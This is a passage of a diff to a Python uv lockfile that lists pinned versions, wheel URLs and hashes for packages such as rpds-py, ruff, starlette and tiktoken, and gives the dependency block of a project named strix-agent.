+ { url = "https://files.pythonhosted.org/packages/5a/5d/0b7b03fb1dc509321f01de3149784ab773e34c8573022029af8076afcb9c/rpds_py-2026.5.1-cp315-cp315-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:fc09f82e63d4bcd58149572f857a431bae851dc747e313c3b5bdf7abb907fda8", size = 379066, upload-time = "2026-05-28T12:01:11.48Z" },
+ { url = "https://files.pythonhosted.org/packages/d7/e2/8ef6012999ebf1cb1c22f876d9ce5e63d960fd4631d2af3202d3f480aa25/rpds_py-2026.5.1-cp315-cp315-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:e10464d17df3b582745c25cec695cb9558bca2cb6ddb631aee1787fc72c767b2", size = 494586, upload-time = "2026-05-28T12:01:13.051Z" },
+ { url = "https://files.pythonhosted.org/packages/80/af/1eeb029bec67582c226b7809172207cd005073af4ebd906e65ff494f4983/rpds_py-2026.5.1-cp315-cp315-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:ba05adbf15d994c38ec0b7ab32e858e5110c21e9009a00a86545fd220f84e038", size = 388415, upload-time = "2026-05-28T12:01:14.631Z" },
+ { url = "https://files.pythonhosted.org/packages/18/23/ffbe10711c4d766c1cab0557d6906c074f795814863c67b351355d29354a/rpds_py-2026.5.1-cp315-cp315-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:77c004fdc7b891967106f78ddfd7b076bfe6813c6139c6fff6aed3bcaa960b26", size = 372427, upload-time = "2026-05-28T12:01:16.153Z" },
+ { url = "https://files.pythonhosted.org/packages/bd/3a/30ba4a6ad457e5b070c18d742a33fb77d8d922b565cc881f8a5313d63bfe/rpds_py-2026.5.1-cp315-cp315-manylinux_2_31_riscv64.whl", hash = "sha256:83bcf894486c9d78dd290d3c0124ff6dd8875d3025e2090a8ec49fcc37c55fdd", size = 383615, upload-time = "2026-05-28T12:01:17.809Z" },
+ { url = "https://files.pythonhosted.org/packages/d3/69/62e242b53ce39c0814bd24e1a6e6eba6c92be716277745f317f9540a2e7b/rpds_py-2026.5.1-cp315-cp315-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:c3df104083952a0e0c6f10de33e440eabe98fb6317d23e1a58c68f6df08d01b9", size = 402786, upload-time = "2026-05-28T12:01:19.419Z" },
+ { url = "https://files.pythonhosted.org/packages/38/c1/a770b9c186928a1ed0f7e6d7ae50e7f3950ed23e3f9e366dbc8e38cb55de/rpds_py-2026.5.1-cp315-cp315-musllinux_1_2_aarch64.whl", hash = "sha256:980450826cf22e133c57e0835070bdd0dd3f73b9b708c3ce223def2cb9469e14", size = 551583, upload-time = "2026-05-28T12:01:21.013Z" },
+ { url = "https://files.pythonhosted.org/packages/21/7c/68e8579b95375b70d2a963103c42e705856cdb98569258bd807f4423891c/rpds_py-2026.5.1-cp315-cp315-musllinux_1_2_i686.whl", hash = "sha256:205dde846f24332ab0c1188699a043b8d165b79bb84529ce272c45048ff6be01", size = 616941, upload-time = "2026-05-28T12:01:22.548Z" },
+ { url = "https://files.pythonhosted.org/packages/70/a1/a6135aed5730ff03ab957182259987ac11e55fb392a28dc6f0592048a280/rpds_py-2026.5.1-cp315-cp315-musllinux_1_2_x86_64.whl", hash = "sha256:3966b82dd563176396df030f3dd52a6e54cb69b718e95e78bd555ed3d1e0185d", size = 578349, upload-time = "2026-05-28T12:01:24.118Z" },
+ { url = "https://files.pythonhosted.org/packages/09/6e/f24201a76a84e6c49d0bdfdfcb735210e21701e9b21c5bfc0ba497dd62f6/rpds_py-2026.5.1-cp315-cp315-win32.whl", hash = "sha256:7818f8d0a415be74d2be3590b0a1c1f463a642f4d0217e7d10602dceef5b79aa", size = 209922, upload-time = "2026-05-28T12:01:25.522Z" },
+ { url = "https://files.pythonhosted.org/packages/9e/e4/966bc240bb0485fc265278f6de44d05834bf0b3618886e0b22e33d54c49a/rpds_py-2026.5.1-cp315-cp315-win_amd64.whl", hash = "sha256:b3cc20c0d800af78fd0fac68086e28c1856cec51ea528bb81ea851aa40d39325", size = 226003, upload-time = "2026-05-28T12:01:27.062Z" },
+ { url = "https://files.pythonhosted.org/packages/5c/5c/a15a59269cd5e74472734516c73795c15eccfc841b3d4b0228c3f53f19d0/rpds_py-2026.5.1-cp315-cp315-win_arm64.whl", hash = "sha256:3609e9939a8a76cd904cf98a3f1f13b5dc7e150adeaee89e0ea09652ea213e16", size = 221245, upload-time = "2026-05-28T12:01:28.51Z" },
+ { url = "https://files.pythonhosted.org/packages/e0/22/135ce03804e179a71ceb13be095deda4a279bc88f7a6b8fa161c5ad44e12/rpds_py-2026.5.1-cp315-cp315t-macosx_10_12_x86_64.whl", hash = "sha256:5d333a7127d4b307601ac37792bee01bb95c867cbfacf21b6375b804d6bbd723", size = 352015, upload-time = "2026-05-28T12:01:30.214Z" },
+ { url = "https://files.pythonhosted.org/packages/3b/5f/f1f6d2652eb9d848f6eb369d8db83a2da6249bb49ad2c2a48f45d54538d3/rpds_py-2026.5.1-cp315-cp315t-macosx_11_0_arm64.whl", hash = "sha256:b5f077b44a4f7808520f66dae234988d867deb9aed9be5da057ce9ba831b2a41", size = 345016, upload-time = "2026-05-28T12:01:31.656Z" },
+ { url = "https://files.pythonhosted.org/packages/88/66/b74182775691ea2290c99e52ac8d5db844e56fbec90ce421f107658c8314/rpds_py-2026.5.1-cp315-cp315t-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:55d8f9b7b78c9538fc9e04e82ec0e888ff0c3cffcfad152c77e57cd09351a98a", size = 374775, upload-time = "2026-05-28T12:01:33.136Z" },
+ { url = "https://files.pythonhosted.org/packages/ff/8f/15e5a61d9f0a43902d36561d4f07cae6ae9f4716be825159fd72717f33af/rpds_py-2026.5.1-cp315-cp315t-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:e3a8ae58895ac107ed934a6bf51e5846f95c53b9b940c2c6d310838fd5846358", size = 380270, upload-time = "2026-05-28T12:01:34.574Z" },
+ { url = "https://files.pythonhosted.org/packages/02/c3/f859b12763a80540cdf2af0f15b19904cf756a71d7bdd3f82ff3e5b1bbf9/rpds_py-2026.5.1-cp315-cp315t-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:0957cf3c2b8632ec7aaebffebea8005b353cc2a237b6e2ae3c2cac0820704cfb", size = 495285, upload-time = "2026-05-28T12:01:36.127Z" },
+ { url = "https://files.pythonhosted.org/packages/1c/c7/ff27c2ac8411d30b03b1829fd88cae8dad1a4d0da48dd25e57c4038042e6/rpds_py-2026.5.1-cp315-cp315t-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:c396c1304de421050b3681ea70f371874b54d41b0151e96109758144c231e30b", size = 389581, upload-time = "2026-05-28T12:01:37.635Z" },
+ { url = "https://files.pythonhosted.org/packages/6e/67/fe92ee32a6cc05c77228a2f8b1762e7124f386ec20ff83d0757b762d58d0/rpds_py-2026.5.1-cp315-cp315t-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:aad1bff7f666b9598e573815affd666aac6a13a585dde336f843e33350c7fadc", size = 376041, upload-time = "2026-05-28T12:01:39.307Z" },
+ { url = "https://files.pythonhosted.org/packages/f8/91/b4d6685c27aba55bd82f25b278be8237038117d05f9659a6213ad3408130/rpds_py-2026.5.1-cp315-cp315t-manylinux_2_31_riscv64.whl", hash = "sha256:656a042550878f12d45752452d47094b7cfe5ad1e9d7b87b5a22ad3ae5ff8015", size = 383946, upload-time = "2026-05-28T12:01:41.043Z" },
+ { url = "https://files.pythonhosted.org/packages/bd/79/2c1d832a53c8e0f8e98fc970ec257b950fecd4f62be2ab7182b500a0cbc8/rpds_py-2026.5.1-cp315-cp315t-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:73c4bd4f70294737b5206a3e8e30ccadbf8a60301831c8ea23eec5dbeea1ecfa", size = 405526, upload-time = "2026-05-28T12:01:43.032Z" },
+ { url = "https://files.pythonhosted.org/packages/78/c4/c98117b03c6a8581ab2c2dfccfe9a5ad82bd8128a3c28b46a6ad2d97c393/rpds_py-2026.5.1-cp315-cp315t-musllinux_1_2_aarch64.whl", hash = "sha256:43bca78665423cabae77146f2fe7ce55272b6c8d55d82cca83effd42c7e13972", size = 551165, upload-time = "2026-05-28T12:01:44.648Z" },
+ { url = "https://files.pythonhosted.org/packages/3b/c1/bc479ca069200af730881b1bd525e3114b2b391a351509fcb1b772f28086/rpds_py-2026.5.1-cp315-cp315t-musllinux_1_2_i686.whl", hash = "sha256:42d0f20e85e549c870749d0e247f0c10d318a45b7e9676d575d2dcb04a1b2e66", size = 618778, upload-time = "2026-05-28T12:01:46.337Z" },
+ { url = "https://files.pythonhosted.org/packages/77/65/38ab2f90df44c2febfb63cc10ced40763d9b4bc94d173e734528663fe7f5/rpds_py-2026.5.1-cp315-cp315t-musllinux_1_2_x86_64.whl", hash = "sha256:b1be5c35683684d5331b93600c210e8367c254683d8a6df6bd21bd2da3a334fb", size = 581839, upload-time = "2026-05-28T12:01:48.109Z" },
+ { url = "https://files.pythonhosted.org/packages/15/2d/ce1f605fe036aadd460e5822e578c6c7ec3a860936cca37d6e0f299daa77/rpds_py-2026.5.1-cp315-cp315t-win32.whl", hash = "sha256:75808f6c38ce7749bb68cc2770161aae5045e6c6f6781a9782e74b93304399df", size = 207866, upload-time = "2026-05-28T12:01:49.648Z" },
+ { url = "https://files.pythonhosted.org/packages/79/cb/966040123eb102371559746908ef2c9471f4d43e17ec9a645a2258dab64b/rpds_py-2026.5.1-cp315-cp315t-win_amd64.whl", hash = "sha256:90bd6630002a1c7f09e7843dd79f0d24f3d2897cc25a753480917865d14f15b3", size = 225441, upload-time = "2026-05-28T12:01:51.408Z" },
+]
+
+[[package]]
+name = "ruff"
+version = "0.15.20"
+source = { registry = "https://pypi.org/simple" }
+sdist = { url = "https://files.pythonhosted.org/packages/43/dc/35b341fc554ba02f217fc10da57d1a75168cfbcf75b0ef2202176d4c4f2d/ruff-0.15.20.tar.gz", hash = "sha256:1416eb04349192646b54de98f146c4f59afe37d0decfc02c3cbbf396f3a28566", size = 4755489, upload-time = "2026-06-25T17:20:37.578Z" }
+wheels = [
+ { url = "https://files.pythonhosted.org/packages/94/d9/2d5014f0253ba541d2061d9fa7193f48e941c8b21bb88a7ff9bbe0bd0596/ruff-0.15.20-py3-none-linux_armv6l.whl", hash = "sha256:00e188c53e499c3c1637f73c91dcf2fb56d576cab76ce1be50a27c4e80e37078", size = 10839665, upload-time = "2026-06-25T17:19:44.702Z" },
+ { url = "https://files.pythonhosted.org/packages/c6/d3/ac1798ba64f670698867fcfc591d50e7e421bef137db564858f619a30fcf/ruff-0.15.20-py3-none-macosx_10_12_x86_64.whl", hash = "sha256:9ebd1fd9b9c95fc0bd7b2761aebec1f030013d2e193a2901b224af68fe47251b", size = 11208649, upload-time = "2026-06-25T17:19:48.787Z" },
+ { url = "https://files.pythonhosted.org/packages/47/47/d3ac899991202095dfcf3d5176be4272642be3cf981a2f1a30f72a2afb95/ruff-0.15.20-py3-none-macosx_11_0_arm64.whl", hash = "sha256:c5b16cdd67ca108185cd36dce98c576350c03b1660a751de725fb049193a0632", size = 10622638, upload-time = "2026-06-25T17:19:51.354Z" },
+ { url = "https://files.pythonhosted.org/packages/33/13/4e043fe30aa94d4ff5213a9881fc296d12960f5971b234a5263fdc225312/ruff-0.15.20-py3-none-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:3413bb3c3d2ca6a8208f1f4809cd2dca3c6de6d0b491c0e70847672bde6e6efd", size = 10984227, upload-time = "2026-06-25T17:19:54.044Z" },
+ { url = "https://files.pythonhosted.org/packages/76/e6/92e7bf40388bc5800073b96564f56264f7e48bfd1a498f5ced6ae6d5a769/ruff-0.15.20-py3-none-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:bd7ec42b3bb3da066488db093308a69c4ac5ee6d2af333a86ba6e2eb2e7dd44b", size = 10622882, upload-time = "2026-06-25T17:19:57.037Z" },
+ { url = "https://files.pythonhosted.org/packages/13/7a/43460be3f24495a3aa46d4b16873e2c4941b3b5f0b00cf88c03b7b94b339/ruff-0.15.20-py3-none-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:e1a36ad0eb77fba9aabfb69ede54de6f376d04ac18ebea022847046d340a8267", size = 11474808, upload-time = "2026-06-25T17:20:00.357Z" },
+ { url = "https://files.pythonhosted.org/packages/27/a0/f37077884873221c6b33b4ab49eb18f9f88e54a16a25a5bca59bef46dd66/ruff-0.15.20-py3-none-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:b6df3b1e4610432f0386dba04d853b5f08cbbc903410c6fcc02f620f05aff53c", size = 12293094, upload-time = "2026-06-25T17:20:03.446Z" },
+ { url = "https://files.pythonhosted.org/packages/a6/74/165545b60256a9704c21ac0ec4a0d07933b320812f9584836c9f4aca4292/ruff-0.15.20-py3-none-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:e89f198a1ea6ef0d727c1cf16088bc91a6cb0ab947dedc966715691647186eae", size = 11526176, upload-time = "2026-06-25T17:20:06.301Z" },
+ { url = "https://files.pythonhosted.org/packages/86/b1/a976a136d40ade83ce743578399865f57001003a409acadc0ecbb3051082/ruff-0.15.20-py3-none-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:309809086c2acb67624950a3c8133e80f32d0d3e27106c0cd60ff26657c9f24b", size = 11520767, upload-time = "2026-06-25T17:20:09.191Z" },
+ { url = "https://files.pythonhosted.org/packages/19/0f/f032696cb01c9b54c0263fa393474d7758f1cdc021a01b04e3cbc2500999/ruff-0.15.20-py3-none-manylinux_2_31_riscv64.whl", hash = "sha256:2d2374caa2f2c2f9e2b7da0a50802cfb8b79f55a9b5e49379f564544fbf56487", size = 11500132, upload-time = "2026-06-25T17:20:13.602Z" },
+ { url = "https://files.pythonhosted.org/packages/4b/f4/51b1a14bc69e8c224b15dab9cce8e99b425e0455d462caa2b3c9be2b6a8e/ruff-0.15.20-py3-none-musllinux_1_2_aarch64.whl", hash = "sha256:a1ed17b65293e0c2f22fc387bc13198a5de94bf4429589b0ff6946b0feaf21a3", size = 10943828, upload-time = "2026-06-25T17:20:16.635Z" },
+ { url = "https://files.pythonhosted.org/packages/71/4b/fe267640783cd02bf6c5cc290b1df1051be2ec294c678b5c15fe19e52343/ruff-0.15.20-py3-none-musllinux_1_2_armv7l.whl", hash = "sha256:f701305e66b38ea6c91882490eb73459796808e4c6362a1b765255e0cdcd4053", size = 10645418, upload-time = "2026-06-25T17:20:19.4Z" },
+ { url = "https://files.pythonhosted.org/packages/b0/c0/a65aa4ec2f5e87a1df32dc3ec1fede434fe3dfd5cbcf3b503cafc676ab54/ruff-0.15.20-py3-none-musllinux_1_2_i686.whl", hash = "sha256:5b9c0c367ad8e5d0d5b5b8537864c469a0a0e55417aadfbeca41fa61333be9f4", size = 11211770, upload-time = "2026-06-25T17:20:22.033Z" },
+ { url = "https://files.pythonhosted.org/packages/5a/a4/0caa331d954ae2723d729d351c989cb4ca8b6077d5c6c2cb6de75e98c041/ruff-0.15.20-py3-none-musllinux_1_2_x86_64.whl", hash = "sha256:01cc00dd58f0df339d0e902219dd53990ea99996a0344e5d9cc8d45d5307e460", size = 11618698, upload-time = "2026-06-25T17:20:25.259Z" },
+ { url = "https://files.pythonhosted.org/packages/10/9b/5f14927848d2fd4aa891fd88d883788c5a7baba561c7874732364045708c/ruff-0.15.20-py3-none-win32.whl", hash = "sha256:ed65ef510e43a137207e0f01cfcf998aeddb1aeeda5c9d35023e910284d7cf21", size = 10857322, upload-time = "2026-06-25T17:20:28.612Z" },
+ { url = "https://files.pythonhosted.org/packages/fa/f0/fe47c501f9dea92a26d788ff98bb5d92ed4cb4c88792c5c88af6b697dc8e/ruff-0.15.20-py3-none-win_amd64.whl", hash = "sha256:a525c81c70fb0380344dd1d8745d8cc1c890b7fc94a58d5a07bd8eb9557b8415", size = 11993274, upload-time = "2026-06-25T17:20:31.871Z" },
+ { url = "https://files.pythonhosted.org/packages/d7/2b/9555445e1201d92b3195f45cdb153a0b68f24e0a4273f6e3d5ab46e212bb/ruff-0.15.20-py3-none-win_arm64.whl", hash = "sha256:2f5b2a6d614e8700388806a14996c40fab2c47b819ef57d790a34878858ed9ca", size = 11343498, upload-time = "2026-06-25T17:20:35.03Z" },
+]
+
+[[package]]
+name = "setuptools"
+version = "82.0.1"
+source = { registry = "https://pypi.org/simple" }
+sdist = { url = "https://files.pythonhosted.org/packages/4f/db/cfac1baf10650ab4d1c111714410d2fbb77ac5a616db26775db562c8fab2/setuptools-82.0.1.tar.gz", hash = "sha256:7d872682c5d01cfde07da7bccc7b65469d3dca203318515ada1de5eda35efbf9", size = 1152316, upload-time = "2026-03-09T12:47:17.221Z" }
+wheels = [
+ { url = "https://files.pythonhosted.org/packages/9d/76/f789f7a86709c6b087c5a2f52f911838cad707cc613162401badc665acfe/setuptools-82.0.1-py3-none-any.whl", hash = "sha256:a59e362652f08dcd477c78bb6e7bd9d80a7995bc73ce773050228a348ce2e5bb", size = 1006223, upload-time = "2026-03-09T12:47:15.026Z" },
+]
+
+[[package]]
+name = "shellingham"
+version = "1.5.4"
+source = { registry = "https://pypi.org/simple" }
+sdist = { url = "https://files.pythonhosted.org/packages/58/15/8b3609fd3830ef7b27b655beb4b4e9c62313a4e8da8c676e142cc210d58e/shellingham-1.5.4.tar.gz", hash = "sha256:8dbca0739d487e5bd35ab3ca4b36e11c4078f3a234bfce294b0a0291363404de", size = 10310, upload-time = "2023-10-24T04:13:40.426Z" }
+wheels = [
+ { url = "https://files.pythonhosted.org/packages/e0/f9/0595336914c5619e5f28a1fb793285925a8cd4b432c9da0a987836c7f822/shellingham-1.5.4-py2.py3-none-any.whl", hash = "sha256:7ecfff8f2fd72616f7481040475a65b2bf8af90a56c89140852d1120324e8686", size = 9755, upload-time = "2023-10-24T04:13:38.866Z" },
+]
+
+[[package]]
+name = "sniffio"
+version = "1.3.1"
+source = { registry = "https://pypi.org/simple" }
+sdist = { url = "https://files.pythonhosted.org/packages/a2/87/a6771e1546d97e7e041b6ae58d80074f81b7d5121207425c964ddf5cfdbd/sniffio-1.3.1.tar.gz", hash = "sha256:f4324edc670a0f49750a81b895f35c3adb843cca46f0530f79fc1babb23789dc", size = 20372, upload-time = "2024-02-25T23:20:04.057Z" }
+wheels = [
+ { url = "https://files.pythonhosted.org/packages/e9/44/75a9c9421471a6c4805dbf2356f7c181a29c1879239abab1ea2cc8f38b40/sniffio-1.3.1-py3-none-any.whl", hash = "sha256:2f6da418d1f1e0fddd844478f41680e794e6051915791a034ff65e5f100525a2", size = 10235, upload-time = "2024-02-25T23:20:01.196Z" },
+]
+
+[[package]]
+name = "sse-starlette"
+version = "3.4.5"
+source = { registry = "https://pypi.org/simple" }
+dependencies = [
+ { name = "anyio" },
+ { name = "starlette" },
+]
+sdist = { url = "https://files.pythonhosted.org/packages/d2/1b/bc9e3e7a72dcdad7dc7888758f5d00f56f8909ed5cfdff822bd72bb4c520/sse_starlette-3.4.5.tar.gz", hash = "sha256:83072538bc211a2f68b7b0422226c4af3e9b62e106e07034664b832ca019842a", size = 35249, upload-time = "2026-06-20T17:36:58.322Z" }
+wheels = [
+ { url = "https://files.pythonhosted.org/packages/78/75/c88d3f5dafd59c791da1ce27650d30bf5b70cbf1cbf01cd00e5f9e360915/sse_starlette-3.4.5-py3-none-any.whl", hash = "sha256:e71bad53323f65573c3864a6c3bd0c1eb6e5f092b2e48082b0c35927d19ca296", size = 16518, upload-time = "2026-06-20T17:36:56.729Z" },
+]
+
+[[package]]
+name = "starlette"
+version = "1.3.1"
+source = { registry = "https://pypi.org/simple" }
+dependencies = [
+ { name = "anyio" },
+ { name = "typing-extensions", marker = "python_full_version < '3.13'" },
+]
+sdist = { url = "https://files.pythonhosted.org/packages/eb/e3/7c1dc7381d9f8ab7d854328ebfa884e62cb3f3d8549ddfd37c7814f42afa/starlette-1.3.1.tar.gz", hash = "sha256:05d0213193f2fbaae60e2ecb593b4add4262ad4e46536b54abe36f11a71724e0", size = 2703240, upload-time = "2026-06-12T09:23:11.602Z" }
+wheels = [
+ { url = "https://files.pythonhosted.org/packages/ec/bb/2799cc2ede3ed41131f8975621e7213dfc7ef4acbbaadfa440f32500c370/starlette-1.3.1-py3-none-any.whl", hash = "sha256:c7372aae11c3c3f26a42df7bd626cec2f47d03483d261d369516a615a53714c6", size = 73632, upload-time = "2026-06-12T09:23:10.017Z" },
+]
+
+[[package]]
+name = "stevedore"
+version = "5.8.0"
+source = { registry = "https://pypi.org/simple" }
+sdist = { url = "https://files.pythonhosted.org/packages/e9/88/35e4d27d9177d7df76d060e0a18f69c6c5794c96960c94042e20a12c8ba2/stevedore-5.8.0.tar.gz", hash = "sha256:b49867b32ca3016e94100e68dbf26e72aa7b8708d0a3f73c08aeb220370ac715", size = 514710, upload-time = "2026-05-18T09:15:27.731Z" }
+wheels = [
+ { url = "https://files.pythonhosted.org/packages/f5/ac/19f9941c74add59d17694930ec8105d5eddeee4ce56dd8632b765ca16d6c/stevedore-5.8.0-py3-none-any.whl", hash = "sha256:88eede9e66ca80e34085b9174e2327da2c61ac91f24f70e41c3ad76e4bb4872b", size = 54553, upload-time = "2026-05-18T09:15:25.82Z" },
+]
+
+[[package]]
+name = "strix-agent"
+version = "1.0.4"
+source = { editable = "." }
+dependencies = [
+ { name = "caido-sdk-client" },
+ { name = "cvss" },
+ { name = "docker" },
+ { name = "openai-agents", extra = ["litellm"] },
+ { name = "pydantic" },
+ { name = "pydantic-settings" },
+ { name = "requests" },
+ { name = "rich" },
+ { name = "textual" },
+]
+
+[package.dev-dependencies]
+dev = [
+ { name = "bandit" },
+ { name = "mypy" },
+ { name = "pre-commit" },
+ { name = "pyinstaller", marker = "python_full_version < '3.15'" },
+ { name = "pyright" },
+ { name = "pytest" },
+ { name = "pytest-asyncio" },
+ { name = "ruff" },
+]
+
+[package.metadata]
+requires-dist = [
+ { name = "caido-sdk-client", specifier = ">=0.2.0" },
+ { name = "cvss", specifier = ">=3.2" },
+ { name = "docker", specifier = ">=7.1.0" },
+ { name = "openai-agents", extras = ["litellm"], specifier = "==0.14.6" },
+ { name = "pydantic", specifier = ">=2.11.3" },
+ { name = "pydantic-settings", specifier = ">=2.13.0" },
+ { name = "requests", specifier = ">=2.32.0" },
+ { name = "rich" },
+ { name = "textual", specifier = ">=6.0.0" },
+]
+
+[package.metadata.requires-dev]
+dev = [
+ { name = "bandit", specifier = ">=1.8.3" },
+ { name = "mypy", specifier = ">=1.16.0" },
+ { name = "pre-commit", specifier = ">=4.2.0" },
+ { name = "pyinstaller", marker = "python_full_version >= '3.12' and python_full_version < '3.15'", specifier = ">=6.17.0" },
+ { name = "pyright", specifier = ">=1.1.401" },
+ { name = "pytest", specifier = ">=8.3" },
+ { name = "pytest-asyncio", specifier = ">=0.24" },
+ { name = "ruff", specifier = ">=0.11.13" },
+]
+
+[[package]]
+name = "textual"
+version = "8.2.7"
+source = { registry = "https://pypi.org/simple" }
+dependencies = [
+ { name = "markdown-it-py", extra = ["linkify"] },
+ { name = "mdit-py-plugins" },
+ { name = "platformdirs" },
+ { name = "pygments" },
+ { name = "rich" },
+ { name = "typing-extensions" },
+]
+sdist = { url = "https://files.pythonhosted.org/packages/9b/7a/c519db0aba5024f86e71e9631810bfdd6866ed2c8695bd7fa34b90e7ef59/textual-8.2.7.tar.gz", hash = "sha256:658f568ff81e30ed43890c3e07520390e5cf1b4763822006e060656b0a88f105", size = 1859249, upload-time = "2026-05-19T10:52:49.531Z" }
+wheels = [
+ { url = "https://files.pythonhosted.org/packages/a8/f5/c1e18bc0707300a0e90204343abbf7d7acd6fb7ebe03a6d4893b99a234b8/textual-8.2.7-py3-none-any.whl", hash = "sha256:4caaa13a90bc4cf9c6c862c067ccd34fe84e9c161710a2a907a8026313b6bd73", size = 731129, upload-time = "2026-05-19T10:52:51.773Z" },
+]
+
+[[package]]
+name = "tiktoken"
+version = "0.13.0"
+source = { registry = "https://pypi.org/simple" }
+dependencies = [
+ { name = "regex" },
+ { name = "requests" },
+]
+sdist = { url = "https://files.pythonhosted.org/packages/e4/e5/5f3cb2159769d0f4324c0e9e87f9de3c4b1cd45848a96b2eb3566ad5ca77/tiktoken-0.13.0.tar.gz", hash = "sha256:c9435714c3a84c2319499de9a300c0e604449dd0799ff246458b3bb6a7f433c1", size = 38986, upload-time = "2026-05-15T04:51:27.153Z" }
+wheels = [
+ { url = "https://files.pythonhosted.org/packages/85/8e/144bde4e01df66b34bb865557c7cd754ed08b036217ebd79c9db5e9048a9/tiktoken-0.13.0-cp312-cp312-macosx_10_13_x86_64.whl", hash = "sha256:32ac870a806cfb260a02d0cb70426aef02e038297f8ad50df5040bb5af360791", size = 1034888, upload-time = "2026-05-15T04:50:31.579Z" },
+ { url = "https://files.pythonhosted.org/packages/36/18/d4ac9d20956cdebca04841316660ed584c2fecdc2b81722a28bc7ad3b1e4/tiktoken-0.13.0-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:4d9980f11429ed2d737c463bb1fb78cf330caa026adf002f714aced7849a687b", size = 982970, upload-time = "2026-05-15T04:50:32.961Z" },
+ { url = "https://files.pythonhosted.org/packages/74/ed/6bb8d05b9f731f749fee5c6f5ca63e981143c826a5985877330507bd13b7/tiktoken-0.13.0-cp312-cp312-manylinux_2_28_aarch64.whl", hash = "sha256:3f277ebea5edd7b8bf03c6f9431e1d67d517530115572b2dc1d465326e8f88c7", size = 1115741, upload-time = "2026-05-15T04:50:34.475Z" },
+ { url = "https://files.pythonhosted.org/packages/34/de/2ca96b07a82d972b74fe4b46de055b79c904e45c7eab699354a0bfa697dc/tiktoken-0.13.0-cp312-cp312-manylinux_2_28_x86_64.whl", hash = "sha256:a116178fa7e1b4065bff05214360373a65cac22f965be7b3f73d00a0dbfe7649", size = 1136523, upload-time = "2026-05-15T04:50:35.782Z" },
+ { url = "https://files.pythonhosted.org/packages/ee/dc/9dafec002c2d4424378563cf4cf5c7fb93631d2a55013c8b87554ee4012c/tiktoken-0.13.0-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:2c397ddda233208345b01bd30f2fca79ff730e55731d0108a603f9bc57f6af3b", size = 1181954, upload-time = "2026-05-15T04:50:36.99Z" },
+ { url = "https://files.pythonhosted.org/packages/a1/d0/1f8578c45b2f24759b46f0b50d31878c63c73e6bf0f2227e10ec5c5408dc/tiktoken-0.13.0-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:95097e4f89b06403976e498abf61a0ee73a7497e73fb599cb211d8197a054d91", size = 1240069, upload-time = "2026-05-15T04:50:38.221Z" },
+ { url = "https://files.pythonhosted.org/packages/aa/90/28d7f154888610aa9237e541986beb62b479df29d193a5a0617dbb1514d0/tiktoken-0.13.0-cp312-cp312-win_amd64.whl", hash = "sha256:8f2d16e7a7c783ad81f36e457d046d1f1c8af70b22aec8a13238efe531977c41", size = 874748, upload-time = "2026-05-15T04:50:39.587Z" },
+ { url = "https://files.pythonhosted.org/packages/9c/83/b096c859c2a47c11731bf2f5885f4028b809dfe2396582883eed9cae372f/tiktoken-0.13.0-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:5df5d1507bd245f1ccad4a074698240021239e455eb0bb4ced4e3d7181872154", size = 1034228, upload-time = "2026-05-15T04:50:40.988Z" },
+ { url = "https://files.pythonhosted.org/packages/53/61/c68e123b6d753e3fc2751e9b18e732c9d8bf1e1926762e736eee935d931c/tiktoken-0.13.0-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:8fe806a50664e83a6ffd56cbd1e4f5dcc6cd32a3e7538f70dc38b1a271384545", size = 982978, upload-time = "2026-05-15T04:50:42.195Z" },
+ { url = "https://files.pythonhosted.org/packages/ef/8b/96cc178cc584e65d363134500f297790b06cd48cdeb1e8fcf7bbe60f4715/tiktoken-0.13.0-cp313-cp313-manylinux_2_28_aarch64.whl", hash = "sha256:125bc05005e747f993a83dc67934249932d6e4209854452cd4c0b1d53fba3ba2", size = 1116355, upload-time = "2026-05-15T04:50:43.564Z" },
+ { url = "https://files.pythonhosted.org/packages/86/f5/bab735d2c72ea55404b295d02d092644eb5f7cc6205e34d35eb9abfb9ab2/tiktoken-0.13.0-cp313-cp313-manylinux_2_28_x86_64.whl", hash = "sha256:5e6358911cab4adee6712da27d65573496a4f68cf8a2b5fca6a4ad10fc5748cf", size = 1135772, upload-time = "2026-05-15T04:50:44.782Z" },
+ { url = "https://files.pythonhosted.org/packages/4e/b9/6de04ebdf904edfaad87788011b3735087a0c9ea671b9027e1e4e965e8c8/tiktoken-0.13.0-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:975cbd78d085d75d26b59660e262736dcaed1e35f8f142cd6291025c01d25486", size = 1182415, upload-time = "2026-05-15T04:50:46.422Z" },
+ { url = "https://files.pythonhosted.org/packages/0d/9c/470a05f3b1caf038f44880e334d47ab674e0c80d514c66b375d14d5afa10/tiktoken-0.13.0-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:75ab9bc99fa020a4c283424590ecd7f3afd70c1c281cb3fa3192a6c3af9f9615", size = 1239879, upload-time = "2026-05-15T04:50:48.052Z" },
+ { url = "https://files.pythonhosted.org/packages/42/a6/c1936d16055436cb32e6c6128d68629622e00f4768562f55653752d34768/tiktoken-0.13.0-cp313-cp313-win_amd64.whl", hash = "sha256:6b1615f0ff71953d19729ceb18865429c185b0a23c5353f1bbca34a394bf60f7", size = 874829, upload-time = "2026-05-15T04:50:49.202Z" },
